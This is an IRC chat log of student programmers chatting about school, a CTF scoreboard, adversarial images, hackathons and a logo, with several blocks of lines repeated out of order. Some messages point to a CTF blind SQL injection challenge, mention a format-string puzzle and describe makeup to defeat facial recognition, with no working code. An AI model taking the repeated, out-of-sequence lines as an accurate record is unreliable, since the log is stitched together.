[2015-03-23T21:42:05-0400] <bob_twinkles> which are damn hard to find
[2015-03-23T21:42:34-0400] <JacobEdelman> awe: heck, you're succeeding beyond what was expected of you in hs 
[2015-03-23T21:42:56-0400] <JacobEdelman> awe: as you said, you got plenty of bad grades in hs, but now you're on the dean's list
[2015-03-23T21:43:40-0400] <+awe> But I was also raised in an environment where I was constantly told that I was smarter than other people and bound for success.
[2015-03-23T21:44:05-0400] <JacobEdelman> awe: hmm... maybe
[2015-03-23T21:44:12-0400] <JacobEdelman> also, relevant: https://en.wikipedia.org/wiki/L%C3%A1szl%C3%B3_Polg%C3%A1r
[2015-03-23T21:44:37-0400] <JacobEdelman> awe: i can buy that argument to a large exent
[2015-03-23T21:44:39-0400] <JacobEdelman> *extent
[2015-03-23T21:45:13-0400] <bob_twinkles> telling everyone they're special kinda takes the zing out of it though
[2015-03-23T21:45:31-0400] <+awe> bob_twinkles: I'm not saying classrooms should do it.
[2015-03-23T21:45:40-0400] <+awe> bob_twinkles: But it certainly helps when they don't tell every student that they're worthless.
[2015-03-23T21:45:44-0400] <+awe> bob_twinkles: either explicitly or implicitly.
[2015-03-23T21:46:19-0400] <+awe> If it's not clear, that happens.
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[2015-03-23T21:46:32-0400] <bob_twinkles> that's... not an easy problem to solve
[2015-03-23T21:46:34-0400] <bob_twinkles> money is a thing
[2015-03-23T21:46:42-0400] <+awe> I didn't say it was easy.
[2015-03-23T21:46:43-0400] <bob_twinkles> and there is a finite pool of sufficiently motivated instructors
[2015-03-23T21:46:46-0400] <+awe> It's not just that.
[2015-03-23T21:46:57-0400] <+awe> You're oversimplifying when you say that.
[2015-03-23T21:47:30-0400] <bob_twinkles> and the way asesments/grades work is _super_ great
[2015-03-23T21:47:41-0400] <bob_twinkles> of course I am, I ain't got time to write a goddamn essay here =P
[2015-03-23T21:47:46-0400] <grantwu> Mraow
[2015-03-23T21:47:48-0400] <+awe> Well, I mean there's the whole racist dynamic.
[2015-03-23T21:47:48-0400] <grantwu> I am cat.
[2015-03-23T21:47:54-0400] <bob_twinkles> but like... how do you fix that
[2015-03-23T21:47:54-0400] <grantwu> Are you cat?
[2015-03-23T21:48:03-0400] <+awe> Systemic change.
[2015-03-23T21:48:04-0400] • bob_twinkles: waves to grantwu
[2015-03-23T21:48:14-0400] • Tamini: meows at grantwu
[2015-03-23T21:48:15-0400] <bob_twinkles> awe: *waves rainbow wand* =P
[2015-03-23T21:48:22-0400] <+awe> Do you want a tangible path to systemic change?
[2015-03-23T21:48:33-0400] <+awe> You organize and empower individuals to fight for the changes they want in their communities.
[2015-03-23T21:48:39-0400] <bob_twinkles> more importantly what you're changing it too
[2015-03-23T21:48:48-0400] <bob_twinkles> just "change" isn't really a great goal
[2015-03-23T21:48:57-0400] <+awe> "the changes they want in their communities"
[2015-03-23T21:49:00-0400] <bob_twinkles> the search space is frickin huge
[2015-03-23T21:49:23-0400] <+awe> Community members are the most knowledgeable about what changes their community needs.
[2015-03-23T21:53:11-0400] <+awe> It's not magic either. People do it all the time.
[2015-03-23T21:55:20-0400] <JacobEdelman> I think the solution is to release a virus that permantely alters everybodies genes so all children have my have edelman dna
[2015-03-23T21:55:30-0400] <JacobEdelman> when everybody on earth is an edelman we shall all be at peace
[2015-03-23T21:55:37-0400] <JacobEdelman> MUHAHAHAHA
[2015-03-23T21:58:37-0400] <LittleBobbyTables> You're an Edalman
[2015-03-23T21:58:44-0400] <JacobEdelman> s/have my//
[2015-03-23T21:58:59-0400] <JacobEdelman> LittleBobbyTables: ?
[2015-03-23T22:00:15-0400] <LittleBobbyTables> JacobEdelman: #rekt
[2015-03-23T22:00:55-0400] <JacobEdelman> I actually didn't misspell my name, that was you
[2015-03-23T22:00:57-0400] <JacobEdelman> I was worried
[2015-03-23T22:01:34-0400] <LittleBobbyTables> No, you're an Edalman
[2015-03-23T22:02:41-0400] <JacobEdelman> you're insults are so.... special
[2015-03-23T22:03:04-0400] failedxyz_ (uid50489@pdgn-550.9ak.7cuf9e.IP) joined the channel
[2015-03-23T22:03:06-0400] <LittleBobbyTables> I try.
[2015-03-23T22:03:19-0400] <failedxyz_> hello
[2015-03-23T22:03:24-0400] <LittleBobbyTables> hei
[2015-03-23T22:03:33-0400] <failedxyz_> yes, hei
[2015-03-23T22:03:34-0400] <LittleBobbyTables> failedxyz_: what was that 3 hard 3 me
[2015-03-23T22:03:38-0400] <failedxyz_> idk
[2015-03-23T22:03:51-0400] <LittleBobbyTables> You're the one that made it though
[2015-03-23T22:04:16-0400] <failedxyz_> idek about ctctf anymore
[2015-03-23T22:04:48-0400] <JacobEdelman> failedxyz_: you have to figure out who got 1st
[2015-03-23T22:04:50-0400] <JacobEdelman> eventually
[2015-03-23T22:04:52-0400] <Tamini> lets not talk abou tit
[2015-03-23T22:04:52-0400] <JacobEdelman> okay?
[2015-03-23T22:04:53-0400] <Tamini> lol
[2015-03-23T22:05:25-0400] <LittleBobbyTables> I just want to know how to do that one problem
[2015-03-23T22:05:43-0400] <JacobEdelman> Tamini: good plan
[2015-03-23T22:06:14-0400] <sdamashek> I got 1st
[2015-03-23T22:06:19-0400] <sdamashek> case closed
[2015-03-23T22:06:22-0400] <sdamashek> works for me
[2015-03-23T22:06:35-0400] <JacobEdelman> also, is it just me or do computer vision fails actually seem to show computers are learning important stuff? http://news.cornell.edu/stories/2015/03/images-fool-computer-vision-raise-security-concerns
[2015-03-23T22:06:41-0400] <JacobEdelman> the baseball one looks like a baseball, 
[2015-03-23T22:06:49-0400] <JacobEdelman> the bubble one has the fundemental qualities of a bubble
[2015-03-23T22:06:53-0400] <JacobEdelman> same with the centipede one
[2015-03-23T22:07:18-0400] <sdamashek> well that's a pretty low quality image
[2015-03-23T22:07:22-0400] <JacobEdelman> which one?
[2015-03-23T22:07:28-0400] <JacobEdelman> the bubble clearly is a round bulge
[2015-03-23T22:07:35-0400] <failedxyz_> I'm
[2015-03-23T22:07:36-0400] <JacobEdelman> the baseball has the tell tale red stripes
[2015-03-23T22:07:42-0400] <failedxyz_> whoops that was an accident
[2015-03-23T22:07:47-0400] <JacobEdelman> the cenitpede one is unclear, I admit
[2015-03-23T22:07:48-0400] <JacobEdelman> gtg
[2015-03-23T22:07:50-0400] <sdamashek> well yeah
[2015-03-23T22:07:58-0400] <failedxyz_> https://usercontent.irccloud-cdn.com/file/SmvUy8bx/IMG_0867.PNG
[2015-03-23T22:08:01-0400] <LittleBobbyTables> It's the same thing with facial recognition software.
[2015-03-23T22:08:02-0400] <failedxyz_> problem solved
[2015-03-23T22:08:06-0400] <sdamashek> but the image itself is really low quality
[2015-03-23T22:08:15-0400] <sdamashek> so it's difficult to tell
[2015-03-23T22:08:20-0400] <failedxyz_> WeAreBuyingCatsInBags won
[2015-03-23T22:08:32-0400] <failedxyz_> i'm just going with the scoreboard
[2015-03-23T22:08:52-0400] <LittleBobbyTables> Make your cheekbones black/white, and white/black (opposite sides, top/bottom left/right), hide your nose and part of your eyes, and facial recognition software can't really pick you up.
[2015-03-23T22:09:03-0400] <failedxyz_> if you want to go count submissions, i can add you to the db
[2015-03-23T22:10:33-0400] <failedxyz_> wait so how do computers get those wrong I still don't understand
[2015-03-23T22:10:46-0400] <+awe> JacobEdelman: how are people still competing under the name iLNibor?
[2015-03-23T22:10:53-0400] <+awe> JacobEdelman: everyone graduated?
[2015-03-23T22:10:59-0400] <+awe> JacobEdelman: plus, they're named for Robin Li who graduated two years ago.
[2015-03-23T22:11:11-0400] <JacobEdelman> I didn;t know they were named for her
[2015-03-23T22:11:17-0400] <JacobEdelman> I think they may be that actually team
[2015-03-23T22:11:20-0400] <JacobEdelman> *actual
[2015-03-23T22:11:23-0400] <JacobEdelman> at least a few of them
[2015-03-23T22:11:27-0400] <JacobEdelman> who go to the same school
[2015-03-23T22:11:29-0400] <JacobEdelman> I'm not sure
[2015-03-23T22:11:40-0400] <JacobEdelman> you were in there grade, ask them
[2015-03-23T22:11:46-0400] <sdamashek> yeah those images are pretty good
[2015-03-23T22:11:50-0400] <+awe> iLNibor == iL Nibor == Robin Li
[2015-03-23T22:11:51-0400] <JacobEdelman> is it a bad sign that I still think of you as a senior, and alok as a junior?
[2015-03-23T22:11:55-0400] <JacobEdelman> ooooh
[2015-03-23T22:12:09-0400] <sdamashek> failedxyz_: because facial recognition is based on contrast in certain critical areas of the face
[2015-03-23T22:12:11-0400] <LittleBobbyTables> failedxyz_: it looks for certain qualities. It picks the thing it's closest to. For example, if it only knows a firetruck and a fire hydrant, red will (most of the time) be a firetruck, and yellow will (most of the time) be a fire hydrant.
[2015-03-23T22:12:22-0400] <failedxyz_> ohh
[2015-03-23T22:12:37-0400] <sdamashek> I dunno what an African grey is
[2015-03-23T22:12:55-0400] <LittleBobbyTables> It's a blacker version of grey
[2015-03-23T22:12:56-0400] <JacobEdelman> wait, wait, wait
[2015-03-23T22:12:59-0400] <JacobEdelman> just to make it clear
[2015-03-23T22:13:01-0400] <+awe> LittleBobbyTables: is that legitimate?
[2015-03-23T22:13:07-0400] <JacobEdelman> these images were given high confidence ratings
[2015-03-23T22:13:07-0400] <sdamashek> oh, so it's just a color
[2015-03-23T22:13:10-0400] <JacobEdelman> and also 
[2015-03-23T22:13:14-0400] <JacobEdelman> ITS NOT JUST COLOR
[2015-03-23T22:13:16-0400] <LittleBobbyTables> Which part, awe?
[2015-03-23T22:13:16-0400] <JacobEdelman> NO NO NO
[2015-03-23T22:13:21-0400] <JacobEdelman> these are using neural networks
[2015-03-23T22:13:22-0400] <failedxyz_> well
[2015-03-23T22:13:24-0400] <+awe> LittleBobbyTables: "blacker version of grey"
[2015-03-23T22:13:25-0400] <JacobEdelman> we feed the neural networks
[2015-03-23T22:13:27-0400] <LittleBobbyTables> JacobEdelman: I never said it was, that was a very basic example
[2015-03-23T22:13:28-0400] <failedxyz_> he said color is one quality
[2015-03-23T22:13:32-0400] <sdamashek> JacobEdelman: I mean African grey...
[2015-03-23T22:13:33-0400] <JacobEdelman> and they learn it
[2015-03-23T22:13:36-0400] <failedxyz_> so just an example
[2015-03-23T22:13:39-0400] <LittleBobbyTables> awe: lolno
[2015-03-23T22:13:39-0400] <JacobEdelman> sdamashek: thats an elephant, I think
[2015-03-23T22:13:43-0400] <failedxyz_> there might be lots of factors right
[2015-03-23T22:13:44-0400] <+awe> LittleBobbyTables: I was going to say, that'd be awful.
[2015-03-23T22:13:45-0400] <sdamashek> wat
[2015-03-23T22:13:50-0400] <+awe> failedxyz_: yeah, patterns, colors, etc.
[2015-03-23T22:13:51-0400] <JacobEdelman> we actually have no idea how these neural networks work
[2015-03-23T22:13:53-0400] <sdamashek> LittleBobbyTables just said it was a blacker version of grey
[2015-03-23T22:13:54-0400] <JacobEdelman> we teach them stuff
[2015-03-23T22:13:54-0400] <LittleBobbyTables> It's a parrot, awe
[2015-03-23T22:13:55-0400] <ubuntor> African grey parrot
[2015-03-23T22:13:57-0400] <failedxyz_> o
[2015-03-23T22:14:01-0400] <JacobEdelman> but we have no idea what they are actually looking for
[2015-03-23T22:14:02-0400] <sdamashek> oh
[2015-03-23T22:14:05-0400] <JacobEdelman> its kinda scary actually
[2015-03-23T22:14:07-0400] <+awe> JacobEdelman: well, we have ideas.
[2015-03-23T22:14:08-0400] <sdamashek> and yeah I know what neural networks are
[2015-03-23T22:14:09-0400] <JacobEdelman> which is what makes this cool
[2015-03-23T22:14:11-0400] <+awe> JacobEdelman: just like for human brainz.
[2015-03-23T22:14:14-0400] <sdamashek> they're really cool
[2015-03-23T22:14:17-0400] <sdamashek> and magical sometimes
[2015-03-23T22:14:19-0400] <JacobEdelman> it gives us some idea of what they are looking for
[2015-03-23T22:14:33-0400] <failedxyz_> maybe they send a request to a real human and then a real human spits out a response and sends it back to the computer LOL
[2015-03-23T22:14:37-0400] <JacobEdelman> the baseball one shows use they are looking for the baseballs pattern, not for the ball shape (probably)
[2015-03-23T22:14:48-0400] <JacobEdelman> which makes sense, cause lots of things have the ball shape but few things have the pattern
[2015-03-23T22:14:49-0400] <+awe> They're looking for both, rpobably.
[2015-03-23T22:14:52-0400] <failedxyz_> "computing..." = "waiting for a response from a real human..."
[2015-03-23T22:15:07-0400] <+awe> failedxyz_: then, why would there be wrong answers?
[2015-03-23T22:15:08-0400] <JacobEdelman> awe: look at the article I showed, and look at the one misslabeled baseball
[2015-03-23T22:15:26-0400] <JacobEdelman> awe: but yeah, in pracitce it probably does put some measure of trust in it being sphere shaped
[2015-03-23T22:15:26-0400] <failedxyz_> awe: idk maybe the kid is stupid
[2015-03-23T22:15:36-0400] <JacobEdelman> so, gnight all
[2015-03-23T22:15:38-0400] <+awe> JacobEdelman: Yes, it definitely is noticing the pattern there.
[2015-03-23T22:15:38-0400] <JacobEdelman> and don't die
[2015-03-23T22:15:51-0400] <failedxyz_> anyway I'm off to study for a bio test
[2015-03-23T22:15:53-0400] <JacobEdelman> wait, did awe just agree with something I said????
[2015-03-23T22:15:58-0400] <LittleBobbyTables> No
[2015-03-23T22:16:01-0400] <JacobEdelman> I most be sleep deprived and hallucinating
[2015-03-23T22:16:03-0400] <failedxyz_> rip
[2015-03-23T22:16:12-0400] <LittleBobbyTables> You agreed with what he was going to mention, before he mentioned it
[2015-03-23T22:16:12-0400] <JacobEdelman> oh well, LBT is still trolling me, so everything is legit then
[2015-03-23T22:16:13-0400] <JacobEdelman> gnight
[2015-03-23T22:17:22-0400] <LittleBobbyTables> 2:13 AM <LittleBobbyTables> z3t: http://hack.bckdr.in/2013-WEB-500/web500.php
[2015-03-23T22:17:22-0400] <LittleBobbyTables> 2:13 AM <LittleBobbyTables> You need to find the sha-256 of the hash of the admin user's password for this site to get the flag.
[2015-03-23T22:17:39-0400] <LittleBobbyTables> Have fun with it. You can easily cheat it, but don't, it's more fun by hand :)
[2015-03-23T22:17:50-0400] <Hyper> woo stuy placed well! :D
[2015-03-23T22:17:56-0400] <Tamini> in what?
[2015-03-23T22:18:00-0400] <Tamini> oh, pclassic? :P
[2015-03-23T22:18:04-0400] <Hyper> whatever failedxyz_ posted
[2015-03-23T22:18:10-0400] <Tamini> oh nvm :P
[2015-03-23T22:18:37-0400] <Hyper> ooh imsa too, I know somebody who graduated from there
[2015-03-23T22:19:32-0400] <+awe> Hyper: is it really surprising that stuy did well at a CS competition?
[2015-03-23T22:19:45-0400] <Hyper> it's a ctf, we've never really been into ctfs
[2015-03-23T22:19:48-0400] <Hyper> at least afaik
[2015-03-23T22:20:13-0400] <Hyper> I know one of my robotics newbies is starting a ctf club <3
[2015-03-23T22:20:30-0400] <+awe> Evidently they are not since there's at least a few competing teams.
[2015-03-23T22:20:35-0400] <Hyper> hmm
[2015-03-23T22:20:37-0400] <+awe> But lack of interest doesn't mean that they wouldn't place well.
[2015-03-23T22:20:38-0400] <Hyper> fair enough
[2015-03-23T22:20:49-0400] <+awe> s/not/now/
[2015-03-23T22:20:50-0400] <Hyper> there's not an organized anything for it, though
[2015-03-23T22:20:56-0400] <ubuntor> LittleBobbyTables: oh, blind boolean?
[2015-03-23T22:20:56-0400] <+awe> Doesn't really need to be?
[2015-03-23T22:20:58-0400] <Hyper> it's just "hey guys let's enter this ctf"
[2015-03-23T22:21:10-0400] <LittleBobbyTables> ubuntor: ^_^
[2015-03-23T22:21:22-0400] <+awe> It's enough for their to be at least three teams of probably ~5 people.
[2015-03-23T22:21:30-0400] <Hyper> yeah, fair enough
[2015-03-23T22:21:47-0400] <ubuntor> yay
[2015-03-23T22:22:00-0400] <Hyper> is anybody here coming to def hacks this weekend, or am I mentoring total strangers? :(
[2015-03-23T22:22:17-0400] <+awe> The latter.
[2015-03-23T22:22:19-0400] <Tamini> mentoring total strangers sounds fun! :P
[2015-03-23T22:22:27-0400] <ubuntor> i forgot to confirm :/
[2015-03-23T22:22:28-0400] <Hyper> heh
[2015-03-23T22:22:29-0400] <sdamashek> yeah, I would think that would make it more fun
[2015-03-23T22:22:43-0400] <Hyper> ubuntor: shaaame
[2015-03-23T22:22:45-0400] <+awe> calc0000 is mentoring at LA hacks.
[2015-03-23T22:25:27-0400] <+awe> If anyone is going to that.
[2015-03-23T22:25:55-0400] <hardmath123> Last year LAHacks was pretty bad.
[2015-03-23T22:26:09-0400] <calc0000> yeah i'll be there
[2015-03-23T22:26:13-0400] <Hyper> well they have calc0000 now so it'll be awesome
[2015-03-23T22:26:16-0400] <hardmath123> Ungood food, and flaky internet.
[2015-03-23T22:26:18-0400] <Hyper> awe-some
[2015-03-23T22:26:40-0400] <+awe> You can eat calc0000 if the food is lame.
[2015-03-23T22:26:56-0400] <calc0000> i probably taste terrible
[2015-03-23T22:26:58-0400] <Hyper> awe: when is the pdgn logo coming? :P
[2015-03-23T22:27:04-0400] <+awe> Hyper: it's made progress, actually.
[2015-03-23T22:27:08-0400] <Hyper> ooh
[2015-03-23T22:27:14-0400] <+awe> I think we're just waiting on coloring?
[2015-03-23T22:27:44-0400] <+awe> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xta1/v/t34.0-12/11063253_970957412956371_1238733985_n.jpg?oh=3cf465261899be249b2c22d7f0cbec7f&oe=5512E4C9&__gda__=1427309109_d060c7709bb22bde9eb2b0c999c12984
[2015-03-23T22:27:53-0400] <calc0000> 2kyoot
[2015-03-23T22:28:07-0400] <ubuntor> ^
[2015-03-23T22:28:18-0400] <Hyper> mmm
[2015-03-23T22:29:43-0400] <Tamini> omg
[2015-03-23T22:29:45-0400] <Tamini> thats adorb
[2015-03-23T22:31:53-0400] <+awe> Yeah, Shannon's way busy, but I'm really excited about it.
[2015-03-23T22:32:24-0400] <+awe> It's pretty much exactly what I wanted.
[2015-03-23T22:33:19-0400] <+awe> calc0000: hah! Bob's Burgers is set in NJ.
[2015-03-23T22:33:33-0400] <+awe> calc0000: they had a thing where they drove to Florida and they showed a map and they started in NJ.
[2015-03-23T22:34:16-0400] <LittleBobbyTables> ubuntor: are you playing with the blind sql
[2015-03-23T22:34:49-0400] <ubuntor> i think i have a script somewhere
[2015-03-23T22:35:23-0400] <LittleBobbyTables> Do it by hand
[2015-03-23T22:35:25-0400] <LittleBobbyTables> It's more fun
[2015-03-23T22:35:38-0400] <ubuntor> but that's tedious :>
[2015-03-23T22:35:49-0400] <ubuntor> binary searching is somewhat fun tho
[2015-03-23T22:36:34-0400] <LittleBobbyTables> Do you want to figure out the user and password table/columns yourself as well?
[2015-03-23T22:38:18-0400] <ubuntor> eh, it's scriptable as well
[2015-03-23T22:39:34-0400] <LittleBobbyTables> It all is.
[2015-03-23T22:39:41-0400] <LittleBobbyTables> That's the boring way to do it though
[2015-03-23T22:43:36-0400] <hardmath123> "Fatal Python error: PyThreadState_Get: no current thread"
[2015-03-23T22:43:42-0400] <hardmath123> :(
[2015-03-23T22:49:04-0400] <failedxyz_> hi
[2015-03-23T22:49:07-0400] <failedxyz_> what did i miss
[2015-03-23T22:57:41-0400] <LittleBobbyTables> Do the web challenge I gave.
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[2015-03-23T23:47:34-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-23T22:20:58-0400] <Hyper> it's just "hey guys let's enter this ctf"
[2015-03-23T22:21:10-0400] <LittleBobbyTables> ubuntor: ^_^
[2015-03-23T22:21:22-0400] <+awe> It's enough for their to be at least three teams of probably ~5 people.
[2015-03-23T22:21:30-0400] <Hyper> yeah, fair enough
[2015-03-23T22:21:47-0400] <ubuntor> yay
[2015-03-23T22:22:00-0400] <Hyper> is anybody here coming to def hacks this weekend, or am I mentoring total strangers? :(
[2015-03-23T22:22:17-0400] <+awe> The latter.
[2015-03-23T22:22:19-0400] <Tamini> mentoring total strangers sounds fun! :P
[2015-03-23T22:22:27-0400] <ubuntor> i forgot to confirm :/
[2015-03-23T22:22:28-0400] <Hyper> heh
[2015-03-23T22:22:29-0400] <sdamashek> yeah, I would think that would make it more fun
[2015-03-23T22:22:43-0400] <Hyper> ubuntor: shaaame
[2015-03-23T22:22:45-0400] <+awe> calc0000 is mentoring at LA hacks.
[2015-03-23T22:25:27-0400] <+awe> If anyone is going to that.
[2015-03-23T22:25:55-0400] <hardmath123> Last year LAHacks was pretty bad.
[2015-03-23T22:26:09-0400] <calc0000> yeah i'll be there
[2015-03-23T22:26:13-0400] <Hyper> well they have calc0000 now so it'll be awesome
[2015-03-23T22:26:16-0400] <hardmath123> Ungood food, and flaky internet.
[2015-03-23T22:26:18-0400] <Hyper> awe-some
[2015-03-23T22:26:40-0400] <+awe> You can eat calc0000 if the food is lame.
[2015-03-23T22:26:56-0400] <calc0000> i probably taste terrible
[2015-03-23T22:26:58-0400] <Hyper> awe: when is the pdgn logo coming? :P
[2015-03-23T22:27:04-0400] <+awe> Hyper: it's made progress, actually.
[2015-03-23T22:27:08-0400] <Hyper> ooh
[2015-03-23T22:27:14-0400] <+awe> I think we're just waiting on coloring?
[2015-03-23T22:27:44-0400] <+awe> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xta1/v/t34.0-12/11063253_970957412956371_1238733985_n.jpg?oh=3cf465261899be249b2c22d7f0cbec7f&oe=5512E4C9&__gda__=1427309109_d060c7709bb22bde9eb2b0c999c12984
[2015-03-23T22:27:53-0400] <calc0000> 2kyoot
[2015-03-23T22:28:07-0400] <ubuntor> ^
[2015-03-23T22:28:18-0400] <Hyper> mmm
[2015-03-23T22:29:43-0400] <Tamini> omg
[2015-03-23T22:29:45-0400] <Tamini> thats adorb
[2015-03-23T22:31:53-0400] <+awe> Yeah, Shannon's way busy, but I'm really excited about it.
[2015-03-23T22:32:24-0400] <+awe> It's pretty much exactly what I wanted.
[2015-03-23T22:33:19-0400] <+awe> calc0000: hah! Bob's Burgers is set in NJ.
[2015-03-23T22:33:33-0400] <+awe> calc0000: they had a thing where they drove to Florida and they showed a map and they started in NJ.
[2015-03-23T22:34:16-0400] <LittleBobbyTables> ubuntor: are you playing with the blind sql
[2015-03-23T22:34:49-0400] <ubuntor> i think i have a script somewhere
[2015-03-23T22:35:23-0400] <LittleBobbyTables> Do it by hand
[2015-03-23T22:35:25-0400] <LittleBobbyTables> It's more fun
[2015-03-23T22:35:38-0400] <ubuntor> but that's tedious :>
[2015-03-23T22:35:49-0400] <ubuntor> binary searching is somewhat fun tho
[2015-03-23T22:36:33-0400] <LittleBobbyTables> Do you want to figure out the user and password table/columns yourself as well?
[2015-03-23T22:38:18-0400] <ubuntor> eh, it's scriptable as well
[2015-03-23T22:39:34-0400] <LittleBobbyTables> It all is.
[2015-03-23T22:39:41-0400] <LittleBobbyTables> That's the boring way to do it though
[2015-03-23T22:43:36-0400] <hardmath123> "Fatal Python error: PyThreadState_Get: no current thread"
[2015-03-23T22:43:42-0400] <hardmath123> :(
[2015-03-23T22:49:04-0400] <failedxyz_> hi
[2015-03-23T22:49:07-0400] <failedxyz_> what did i miss
[2015-03-23T22:57:41-0400] <LittleBobbyTables> Do the web challenge I gave.
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[2015-03-23T23:52:33-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-23T22:20:58-0400] <Hyper> it's just "hey guys let's enter this ctf"
[2015-03-23T22:21:10-0400] <LittleBobbyTables> ubuntor: ^_^
[2015-03-23T22:21:22-0400] <+awe> It's enough for their to be at least three teams of probably ~5 people.
[2015-03-23T22:21:30-0400] <Hyper> yeah, fair enough
[2015-03-23T22:21:47-0400] <ubuntor> yay
[2015-03-23T22:22:00-0400] <Hyper> is anybody here coming to def hacks this weekend, or am I mentoring total strangers? :(
[2015-03-23T22:22:17-0400] <+awe> The latter.
[2015-03-23T22:22:19-0400] <Tamini> mentoring total strangers sounds fun! :P
[2015-03-23T22:22:27-0400] <ubuntor> i forgot to confirm :/
[2015-03-23T22:22:28-0400] <Hyper> heh
[2015-03-23T22:22:29-0400] <sdamashek> yeah, I would think that would make it more fun
[2015-03-23T22:22:43-0400] <Hyper> ubuntor: shaaame
[2015-03-23T22:22:45-0400] <+awe> calc0000 is mentoring at LA hacks.
[2015-03-23T22:25:27-0400] <+awe> If anyone is going to that.
[2015-03-23T22:25:55-0400] <hardmath123> Last year LAHacks was pretty bad.
[2015-03-23T22:26:09-0400] <calc0000> yeah i'll be there
[2015-03-23T22:26:13-0400] <Hyper> well they have calc0000 now so it'll be awesome
[2015-03-23T22:26:16-0400] <hardmath123> Ungood food, and flaky internet.
[2015-03-23T22:26:18-0400] <Hyper> awe-some
[2015-03-23T22:26:40-0400] <+awe> You can eat calc0000 if the food is lame.
[2015-03-23T22:26:56-0400] <calc0000> i probably taste terrible
[2015-03-23T22:26:58-0400] <Hyper> awe: when is the pdgn logo coming? :P
[2015-03-23T22:27:04-0400] <+awe> Hyper: it's made progress, actually.
[2015-03-23T22:27:08-0400] <Hyper> ooh
[2015-03-23T22:27:14-0400] <+awe> I think we're just waiting on coloring?
[2015-03-23T22:27:44-0400] <+awe> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xta1/v/t34.0-12/11063253_970957412956371_1238733985_n.jpg?oh=3cf465261899be249b2c22d7f0cbec7f&oe=5512E4C9&__gda__=1427309109_d060c7709bb22bde9eb2b0c999c12984
[2015-03-23T22:27:53-0400] <calc0000> 2kyoot
[2015-03-23T22:28:07-0400] <ubuntor> ^
[2015-03-23T22:28:18-0400] <Hyper> mmm
[2015-03-23T22:29:43-0400] <Tamini> omg
[2015-03-23T22:29:45-0400] <Tamini> thats adorb
[2015-03-23T22:31:53-0400] <+awe> Yeah, Shannon's way busy, but I'm really excited about it.
[2015-03-23T22:32:24-0400] <+awe> It's pretty much exactly what I wanted.
[2015-03-23T22:33:19-0400] <+awe> calc0000: hah! Bob's Burgers is set in NJ.
[2015-03-23T22:33:33-0400] <+awe> calc0000: they had a thing where they drove to Florida and they showed a map and they started in NJ.
[2015-03-23T22:34:16-0400] <LittleBobbyTables> ubuntor: are you playing with the blind sql
[2015-03-23T22:34:49-0400] <ubuntor> i think i have a script somewhere
[2015-03-23T22:35:23-0400] <LittleBobbyTables> Do it by hand
[2015-03-23T22:35:25-0400] <LittleBobbyTables> It's more fun
[2015-03-23T22:35:38-0400] <ubuntor> but that's tedious :>
[2015-03-23T22:35:49-0400] <ubuntor> binary searching is somewhat fun tho
[2015-03-23T22:36:33-0400] <LittleBobbyTables> Do you want to figure out the user and password table/columns yourself as well?
[2015-03-23T22:38:18-0400] <ubuntor> eh, it's scriptable as well
[2015-03-23T22:39:34-0400] <LittleBobbyTables> It all is.
[2015-03-23T22:39:41-0400] <LittleBobbyTables> That's the boring way to do it though
[2015-03-23T22:43:36-0400] <hardmath123> "Fatal Python error: PyThreadState_Get: no current thread"
[2015-03-23T22:43:42-0400] <hardmath123> :(
[2015-03-23T22:49:04-0400] <failedxyz_> hi
[2015-03-23T22:49:07-0400] <failedxyz_> what did i miss
[2015-03-23T22:57:41-0400] <LittleBobbyTables> Do the web challenge I gave.
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[2015-03-24T00:51:17-0400] <LittleBobbyTables>  https://www.youtube.com/watch?v=jFLAfVvWEBk
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[2015-03-24T00:55:21-0400] <failedxyz_> done w hw
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[2015-03-24T01:05:33-0400] <nezorg> friend's description of javascript:
[2015-03-24T01:05:46-0400] <nezorg> "this crazy language is like the wild west
[2015-03-24T01:05:57-0400] <nezorg> except for instead of a horse, you ride a cactus
[2015-03-24T01:06:08-0400] <nezorg> and everyone is on fire"
[2015-03-24T01:06:28-0400] <hardmath123> i feel i can write a program to generate such rants automatically
[2015-03-24T01:07:45-0400] <hardmath123> javascript is like [setting] except instead of [noun] you [verb] a [worse noun] and everyone [illogical verb] [even more illogical direct object]
[2015-03-24T01:08:13-0400] <failedxyz_> lol
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[2015-03-24T09:23:14-0400] <JacobEdelman> gmorning all
[2015-03-24T09:23:47-0400] <JacobEdelman> awe: we're not just waiting on coloring for the logo
[2015-03-24T09:24:06-0400] <JacobEdelman> shannon had to ink the lines in as of a last week (wednesday) I think
[2015-03-24T09:24:37-0400] <JacobEdelman> oh wait, maybe I'm wrong? last wednesday she was still working on inking the lines before coloring
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[2015-03-24T10:44:44-0400] <LittleBobbyTables> 6:05 AM <BigBobbyTable> This microcorruption level is being stupid.
[2015-03-24T10:44:44-0400] <LittleBobbyTables> 6:09 AM <BigBobbyTable> Gotta format string to #0x3600 after a strcpy, so I can't just write to it directly, and I can't start from #0x35ff :/
[2015-03-24T11:05:38-0400] <+awe> JacobEdelman: yeah, you're right.
[2015-03-24T11:06:07-0400] <apothy> LittleBobbyTables: Which problem?
[2015-03-24T11:06:18-0400] <LittleBobbyTables> Addis Ababa
[2015-03-24T11:06:44-0400] <apothy> Ah
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[2015-03-24T12:51:37-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-23T22:27:44-0400] <+awe> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xta1/v/t34.0-12/11063253_970957412956371_1238733985_n.jpg?oh=3cf465261899be249b2c22d7f0cbec7f&oe=5512E4C9&__gda__=1427309109_d060c7709bb22bde9eb2b0c999c12984
[2015-03-23T22:27:53-0400] <calc0000> 2kyoot
[2015-03-23T22:28:07-0400] <ubuntor> ^
[2015-03-23T22:28:18-0400] <Hyper> mmm
[2015-03-23T22:29:43-0400] <Tamini> omg
[2015-03-23T22:29:45-0400] <Tamini> thats adorb
[2015-03-23T22:31:53-0400] <+awe> Yeah, Shannon's way busy, but I'm really excited about it.
[2015-03-23T22:32:24-0400] <+awe> It's pretty much exactly what I wanted.
[2015-03-23T22:33:19-0400] <+awe> calc0000: hah! Bob's Burgers is set in NJ.
[2015-03-23T22:33:33-0400] <+awe> calc0000: they had a thing where they drove to Florida and they showed a map and they started in NJ.
[2015-03-23T22:34:16-0400] <LittleBobbyTables> ubuntor: are you playing with the blind sql
[2015-03-23T22:34:49-0400] <ubuntor> i think i have a script somewhere
[2015-03-23T22:35:23-0400] <LittleBobbyTables> Do it by hand
